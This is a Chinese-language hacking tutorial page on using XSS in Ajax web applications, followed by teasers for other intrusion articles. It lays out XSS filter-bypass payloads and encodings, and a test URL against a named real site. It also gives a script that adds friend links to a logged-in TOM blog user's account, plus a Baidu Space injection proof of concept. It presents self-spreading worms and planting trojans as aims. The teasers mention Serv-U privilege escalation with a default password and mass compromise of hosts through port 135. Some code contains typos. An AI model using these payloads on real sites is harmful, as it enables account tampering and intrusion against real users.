黑客教你新型入侵方法:Ajax hacking with Xss

所属分类: 网络安全 / 黑客入侵 阅读数: 241
收藏 0 赞 0 分享
在十期发表《Ajax hacking》后,网友给我的反馈中关于XSS技术方面的问题主要由以下几个。为 什么在Ajax hacking中使用XSS?它与传统的XSS又有什么区别?它们各有怎么样的利弊端?大型网站的所 谓XSS漏洞是否为鸡肋?下面我们一起来详细分析下。   Ajax hacking   Ajax hacking这个名词最先出现在Billy Hoffman的一篇名为《AJAX dangers》报告中,他把samy 和yamanner这种攻击形式定义为AJAX hacking。而在此之前它们只是被说属于web2.0蠕虫(或XSSworm) ,但对这种攻击形式并没有一个明确的定义。这里我们暂以AJax hacking中的XSS进行一些深入的性讨论 。关于Ajax的其他攻击形式请到网上参看文章《Top 10 Ajax Security Holes and Driving Factors》或 者是翻译成中文的《细数Web2.0下的十大安全威胁》。   在传统的XSS攻击中,我们的目的通常是直接提权或者获取Cookies后提权,所以代码执行方式一 般是windows.open、window.location或iframe,于是它的两大弱点就体现出来了,不具有传播性和易暴 露性。在AJax hacking中利用Ajax这一种新技术,攻击方式及对象得以转变。其实绝大部分人在获得管理 员权限又拥有文件更改权限后所能做的也就是挂马,很少设计商业机密之类!而这一攻击则直接把矛头指 向客户端,由于数据全部是使用异步调取方式,所以具有很强的隐蔽能力;通过操纵已登录的用户权限, 可以直接对用户信息进行更改,甚至可以使该代码集合自动传播实现蠕虫功能。   XSS 利用方式   在传播的XSS攻击案例中,代码插入的利用方式一般是在URL和文本区域(textarea)中。但对于 日前大面积利用Ajax技术进行建站的站点来说,利用新形式的Ajax hacking技术可以将利用方式大体扩展 到URL域、input域、textarea域、embed域、css、rss、xml载体七种方式。   URL XSS   可以进行XSS的URL一般为"(域名)/(文件名)(文件格式)?(字段名)=(字段内容)"这种 形式,而且字段内容通常会在页面的某一个位置显示出来或者被调用。由于网站编写者的疏忽,没有把对 应的字段内容进行安全检测和过滤,而直接调用到页面上,使得我们只把字段内容替换成我们想要的XSS 代码即产生跨站。比如: http://club.sohu.com/joke/1.htm? stra=<script>alert(document.cookie);</script>
  但是这种方式一般需要诱使用户点击你事先伪造的链接,而链接你可以挂在论坛里或者以E-mail 的方式进行钓鱼性欺骗。   Input和textarea以及css XSS   input和textarea以及css XSS是我们所用到的方式中最广泛的几种,由于css实际上属于Dhtml的 一部分,所以它们的利用方式及绕过过滤特点也大体相同,我们将在后面着重进行相关的解释和实验。   Embed XSS   Embed XSS一般利用在允许插入视频,音乐以及flash的站点上,如果你链接到一个被恶意构造了 含有XSS脚本的flash文件,比如<EMBED SRC="xss.swf"></EMBED>,然后我们构造一个特殊 的.swf文件,并在flash文件的动作里插入以Action Script引到的js或vbs代码。当用户访问该页面时既 产生跨站。   Rss以及Xml XSS   这种攻击一般利用在可以进行rss聚合的站点以及部分本地的rss解释器上(据说对本地的rss解释 器进行XSS,有获得主机权限的可能性,不过本人没有试过这个!),而且由于rss文件一般可以在任何站 点上被引用,所以想进行这类的攻击测试是很简单的事情,效果也相当明显。下面是对一个没有进行任何 过滤设置的本地调用远程rss.xml的实例效果,以及Google调用该rss的过滤效果。   代码插入方式   由于插入的脚本为js或者是vbs,所有一般需要由的关键字JavaScript、VbScript、expression比 如<IMG SRC="JavaScript:alert('XSS');">,但当接收鼠标或键盘响应时,这三个关键字可以省略掉,所以有以下利用方法<img onmouseover="alert('XSS')">或者<INPUT onkeyup="alert('XSS');">等等。而且由于html并 不遵循xhtml的标准,所以可以有以下插入方式: 1、标签属性可以用双引号、可以用单引号、也可以可不用引号; 2、属性值可以大写;可以小写;也可以混合写; 3、可以插入回车、包括段末结尾符和换行符的两种、即char(10)和char(13)、tab空格; 4、如果是style形式还可以插入反斜线“\”、注释符“/**/”; 5、可以将插入的代码转换成10进制、16进制; 6、由于禁止的不确定性,你插入的进制串可以进行一系列转化并可以随意搭配组合; 7、进字符“j”就可以有以下15种编码方法,而且还是不计字符的大小写。 \6A\06A\006A\0006A\00006A //java形式的16进制编码 &#106;&#0106;&#00106;&#000106;&#0000106; //十 进制编码 &#x6A;&#x06A;&#x006A;&#x0006A;&#x00006A; //十 六进制编码 8、其他的编码方式,如htmlEncode和URLEncode对于html及URL的编码。   至于可以插入代码的html标签嘛……说句近乎疯狂的话——目前几乎所有可以插入属性的标签都 可以插入代码,比如<bstyle="xss:expression(alert('XSS'))">。   在html标签中可以插入代码的属性一般为:src、style、dynsrc(常用于img和input中,用此属 性还可以插入视频等)、lowsrc(预载缩略图)、鼠标属性(如o n m o u s e o v e r )、键盘属性( 如onkeypress)、href属性(常用于a和link)、boby的onload属性、URL属性等。   过滤绕过方式   当然人家网站也不可能傻乎乎地让你输入这些代码,所以它们一般会对你输入的字符进行过滤。 所以我们编写好的代码并一定就能顺利的插入执行,很有可能某些关键的字符被过滤掉了,比 如"JavaScript"。如果只是这种单纯的过滤,那么绕过方法实在太简单,只要每当输入此字符时输 入"javajavascriptscript"之类就可以了。当然网站程序员依然不会这样傻,它们会进行种种过滤来防备 你,所以结合上面的"代码插入方式",你可能会总结出以下的绕过网站过滤系统的方法:   1、用控制字符的ASCII码填充   比如<IMG SRC="&#15;JavaScript:alert('XSS');">,如果你熟悉ASCII码,你应该 知道系统控制字符一共是33个,这里去掉一个头&#00(null)和一个尾&#127(del),其他31个字符 均可以顺利插入代码头部,对过滤系统进行混淆,并且不影响原代码执行,而且你依然可以用"代码插入 方式"中的"方案7"进行编码的任意转换。七种tab符&#9、换行符&#10、回车符&#13可以插到代码任何地方。   2、插入混淆属性   当我们进行一般的文字录入时会发现,并不是所有带"JavaSceipt"这样的字符都会被过滤掉。而是只有在html标签内的特殊字符会被滤掉,这使得我们有了令一套绕过措施,在插入代码的属性前面插 入另一混淆属性,并在该属性中插入让过滤系统误以为是标签结束符的字符,从而让过滤系统认为执行代码在html标签的外面。比如: <img src="abc>" onmouseover="[code]"> //插入混淆的src属 性 <IMG """><SCRIPT>[code]</SCRIPT>"> //插入混 淆的双引号及 “>”符号 <SCRIPT a=">" SRC="xss.js"></SCRIPT> //插入混淆的a 属性   3、用注释符分割   由于浏览器会忽略掉每种代码的注释符,因此如果我们在代码中的注释符就可以成功地欺骗过滤 系统并且不影响XSS代码的正常运行。比如: <img style="xss:expr/*XSS*/ession([code])"> //css的注释符号 为/**/,其中的内容会被忽略 <style>@im\port'\ja\vasc\ript:alert("XSS")';</style> //css中忽略的符号还有“\” exp/*<A STYLE='no\xss:noxss("*//*");xss:&#101;x&#x2F;*XSS*//*/*/pression (alert("XSS"))'> //注释混淆后的样子 <style><!--</style><script>[code]//-- ></script> //html的注释符为<!--注释-->   4、js编码及调用   如果过滤系统会过滤掉很多的特征字符,那么当我们做以上绕过的时候就会非常的麻烦,所以典型的绕过方案还有对这些代码进行js编码或者干脆从外部调用过来。当然由于浏览器对Ajax的安全机制,你必须保证调用的文件在相同的服务器上,否则就会出现错误提示。   异步数据调用   既然是Ajax hacking,自然需要用到异步的数据调用。这里将简单的介绍一下相关的知识,要更 深入的了解是长期实践的结果。   1、声明xmlhttprequest对象   数据调用需要事先声明xmlhttprequest对象,在IE6及以前版本中最简单的做法是: var XmlHttp=new ActiveXObject("Microsoft.XMLhttp");   在IE7和firefox中的声明方法是: var req = new XMLHttpRequest();   所以如果我们想编出兼容性更好的代码,可以对客户端浏览器进行判断,然后分别定义 xmlhttprequest对象,如下: if(window.XMLHttprequest){
XmlHttp = new XMLHttpRequest();
}else if (window.ActiveXObject){
Xmlhttp = new ActiveXObject ('Microsoft.XMLHTTP');
}
  然后采用以下方法进行参数传递 XmlHttp.Open("POST","URL",true);
XmlHttp.send(null);   这里要主意的是,XmlHttp.Open中的第一个选项为页面的请求方式,可以为post、get、head三种 第三 个选项true表示异步方式、false表示同步方式。   利用以上代码,你可以简单实现一下在TOM博客中为当前用户添加任意用户的友情链接,如果添加 成功 会返回OK窗口,已经添加会返回friended,代码如下: <script>
var XmlHttp=new ActiveXObject ("Microsoft.XMLhttp");
XmlHttp.Open("POST","http://blog.tom.com/manage/favorite/friend_list.php? UserName=monyer1&Flag=1",true);
XmlHttp.send(null)
XmlHttp.onreadystatechange=ServerProcess;
function ServerProcess(){
if (Xmlhttp.readystate==4 || XmlHttp.readystate=='complete')
alert (XmlHttp.responsetext); }
</script>
  利用相同原理,给登录用户添加文章也不是什么难题,只不过稍微麻烦店而已,感兴趣的朋友可 以自 己回去试试。   V b s c r i p t 中声明xmlhttprequest的代码为这样: dim httpreq as msxml.xmlhttprequest
set httpreq = new xmlhttprequest
httpreq.setrequesttheader "content- type:","text/xml;charest=gb2312"
httpreq,send
  利用方式与js大体相同,这里不做过多的即时。   2、获取页面元素   获取页面指定标签和标签中的值一般会用到以下几个DOM对象,当然对象后面可以加入相关属性, 比如 style、value、innerHTML等等。 1)document. getElementByld //获得制定id的html标签相关信息 2)document. getElementByname //获得指定name的html标签相关信息 3)document. getElementByTagName //获得指定的html标签相关信息   3、在页面中插入html元素   我指导的可以在页面插入html的js函数有insertAdjacentHTML、innerHTML(outerHTML)、 inserAdjacentText、innerTEXT(outerTEXT)。其中前两个是插入html代码,后两个是插入文本,所以 我们一般所用的就是前两个。另外用document对象中的creatElement也可以实现代码插入,输入js代码时 请注意大小写问题。 1)<a href="#" onclick="this.innerHTML='<h1>i am monyer</h1>' ">innerHTML</a> //替换当前标签中的内容,作用域不包括当前的 html标签 2)<a href="#" onclick="this.outerHTML='<h1>i am monyer</h1>' ">outerHTML</a> //替换当前标签及标签中的内容,作用域包括当 前标签及其中所有内容 3)<a onclick="this.insertAdjacentHTML('afterEnd',<h1>monyer</h1>')" href="#">insertAdjacentHTML</a> //新增插入的html代码,不改 变原标签及内容   指定插入html标签语句的地方,有四种值用: a.beforeBegin:插入到标签开始标记后 b.afterBegin:插入到标签开始标记后 c.beforeEnd:插入到标签结束标记前 d.afterEnd:插入到标签结束标记后   灵活地运用这两个函数能帮我们变换出丰富的效果来,我利用百度空间插入视频的简化POC: Html页面的代码为: <script scr=monyerflash.js></script>
<address>src=http:/ /tv.mofile.com/cn/xplayer.swf?v=9IWKFISE</address>
monyerflash.js代码为: windwo.onload=function(){
var i,j,x,y,z;
j=document.getElementsByTagName ('address');
for(i=0;i<j.length;i ){
y=document.getElementsByTagName('address') [i];
z=document.getElementsByTagName('address') [i]; firstChild.data;
x='<br/><embed ' z '></embed>';
if(y) y.insertAdjacentHTML('beforeEnd'.x);
}}
  总结   有了以上概述,相信你对Ajax hacking with XSS已经有了一个大体的了解,并且只要把文中的响 应内容进行简单的组合和更改,就很可能做出某些令人惊喜的东西。当然因为Ajax应用的是JavaScript的 一部分,所以想充分利用Ajax式的hacking并发挥它的威力还需要你对JavaScript有一个充分的了解。当 你在各个过滤系统间实战时,你会遇到更多的苦难并需要试着解决各种问题。我认为是否真正入侵一个网 站或者顺利挂马是次要的,不断提高自己,在功与防的对立统一中不断寻求突破才是王道!
更多精彩内容其他人还在看

黑客穿透ADSL路由入侵内网

也许看烂了网上已有的常规黑客攻击手段,对一些陈旧的入侵手法早已厌烦,近来我对ADSL MODEM的路由功能产生了浓厚的兴趣,经过一番努力,我终于找到了穿透ADSL路由入侵内网的方法,在这里和各位一起分享我的心得。 一.扫描 现在很多ADSL MODEM都是通过80、2
收藏 0 赞 0 分享

黑客攻击之简要4899到3389全攻略

1:找台有4899的机器,可以进行4899登陆(前提) 2:把下列文字生成*.BAT传到肉鸡的C:下 echo [Components] > c:sql echo TSEnable = on >> c:sql sysocmgr /i:
收藏 0 赞 0 分享

黑客入侵系统是通过3389端口

你的ADSL用户名和密码不安全 刚刚上网看了会儿新闻,和朋友聊了聊天。之后打游戏的时候,发现比平时要卡,不知道是什么原因,难道是网络问题吗?不管它了。听同事说美剧《英雄》不错,准备今天晚上不关机了,把它下载完。今天少写点吧,太累了,睡觉先。 兄弟,不好
收藏 0 赞 0 分享

黑客入侵解决“计算机管理”中用户列表为空的经历

最近XPFOX叫我看看他朋友的服务器,说计算机管理的“本地用户和组”的“用户”没有显示的! 我第一想到的就是有人进了服务器,在他朋友的服务器上创建隐藏的帐号,人为错误导致列表不显示! 以前测试隐藏帐号时也试过这样! 我
收藏 0 赞 0 分享

黑客在网吧内是如何入侵其他电脑的

从你这里真是学到不少东西呀,今天我去网吧和同事打了会儿游戏,我从来不在网吧上用QQ,总觉得网吧很危险,里面到全是木马。我知道很多人能够得到MM的QQ号,他们是怎么弄的?网吧上网能安全放心吗?你是不是也经常去网吧黑人? ———————————————————
收藏 0 赞 0 分享

用Firefox来Hacking Web 2.0程序(图)

Introduction //简介 AJAX and interactive web services form the backbone of “web 2.0” applications. This technological transformation brings
收藏 0 赞 0 分享

UNIX主机的入侵

给大家带来的是UNIX系统的phf漏洞的攻击方法配合密码强攻来获取系统的最高权限。首先,我们连上Internet,打开红客的网络扫描器:www.google.com (随着google公司对这个搜索引擎的性能的不断提高,到现在可以说扫描一些远程URL漏洞是轻而易举,甚至连信用卡用
收藏 0 赞 0 分享

Webshell与Serv-u结合获系统最高权限

Serv-U默认监听127.0.0.1:43958,在本机才能连接这个管理端口,Serv-U默认管理账号是localAdministrator,默认密码是"#l@$ak#.lk;0@P",这个密码是固定的。在目标机器上运行fpipe -v -l 12345 -
收藏 0 赞 0 分享

经典入侵:利用常见的135端口批量抓肉鸡

关于135抓肉鸡的分析最近好象135搞的很火热 看见有人也把那个批量抓135肉鸡的工具发出来了我也就说下把 反正俺也不早就不用那鸟东西了 上次看了那个也说一天抓1000只肉鸡 由于我是开快进看的 没仔细的看 我以为他是自动登陆telnet 所以我就晕死了 应为自动登陆teln
收藏 0 赞 0 分享

利用最基本的SQL注入渗透BBSXP官方网站的台后管理

漏洞分析 序: 有一部电影的名字叫着《全职杀手》,剧中的男主角托尔,我非常喜欢他的个性! 他非常的cool,i like!呵呵,不知道你看过这部电影没有? 不过,我今天要为大家讲解的故事发现在网络当中.这次是一次非常,常见的sql渗透攻击.也是最
收藏 0 赞 0 分享
查看更多